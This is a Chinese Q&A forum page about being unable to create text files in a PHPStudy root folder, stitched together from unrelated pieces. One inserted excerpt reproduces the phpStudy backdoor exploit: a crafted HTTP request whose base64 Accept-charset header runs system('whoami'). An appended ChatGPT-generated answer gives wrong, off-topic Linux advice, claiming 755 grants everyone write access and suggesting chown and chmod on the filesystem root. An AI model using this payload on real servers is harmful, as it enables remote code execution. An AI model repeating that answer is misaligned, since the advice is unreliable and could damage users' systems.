PHPstudy里根目录没法创建文本

PHP study里面我的根目录没办法创建文本 只能创建文件夹是怎么回事呢

img

img

点击属性,勾选相关权限

  • 你可以参考下这个问题的回答, 看看是否对你有帮助, 链接: https://ask.csdn.net/questions/7703876
  • 这篇博客你也可以参考下:PHPStudy:新手通往PHP极简之路
  • 除此之外, 这篇博客: phpStudy后门漏洞复现中的 2. 手工验证 部分也许能够解决你的问题, 你可以仔细阅读以下内容或跳转源博客中阅读:
  • 用BurpSuite将存在漏洞的数据包发送至Repeater模块进行测试,只需修改数据包中如下两处位置即可

    # 将要执行的代码进行Base64编码,例如:system('whoami');
    Accept-charset: c3lzdGVtKCd3aG9hbWknKTs= 
    
    # 注意删除gzip,deflate之间的空格,否则不生效
    Accept-Encoding: gzip,deflate  
    

    具体数据包如下:

    GET /phpinfo.php HTTP/1.1
    Host: 192.168.126.129
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-charset: c3lzdGVtKCd3aG9hbWknKTs=
    Accept-Encoding: gzip,deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    
  • 您还可以看一下 王兆镇老师的php基础入门课程中的 快速安装环境phpStudy_64和使用phpStudy_64小节, 巩固相关知识点
  • 以下回答由chatgpt基于相关博客总结生成:

    该问题可能是由于文件权限不足引起的。在Linux中,可以通过chmod命令更改文件或目录的权限。建议将根目录的权限设置为755,即可让用户、组和其他用户都有读写权限。可以通过以下命令更改权限:

    sudo chmod 755 /
    

    如果没有管理员权限,可以通过查看文件所属用户和组的方式进行更改。可以通过以下命令查看文件所属用户和组:

    ls -l /
    

    通过查看结果可以得知文件的所有者和所属组。如果当前用户不是文件的所有者,可以使用以下命令更改文件的所有者:

    sudo chown <username> /
    

    其中,是要更改的用户名。

    如果以上方法都不起作用,可以尝试更改PHP的配置文件php.ini。可以通过以下命令找到php.ini的位置:

    php --ini
    

    在php.ini中查找以下内容:

    open_basedir =
    

    如果该值被设置为根目录( / ),则说明只有在该目录下才能进行文件操作。可以将其改为允许在其他目录中进行文件操作,例如:

    open_basedir = /home:/tmp
    

    其中,/home和/tmp是允许访问的目录,多个目录之间用冒号分隔。修改完php.ini后,需要重启Apache服务器才能生效。

    如果以上方法都不能解决问题,请尝试重新安装PHPstudy或使用其他支持PHP环境的软件。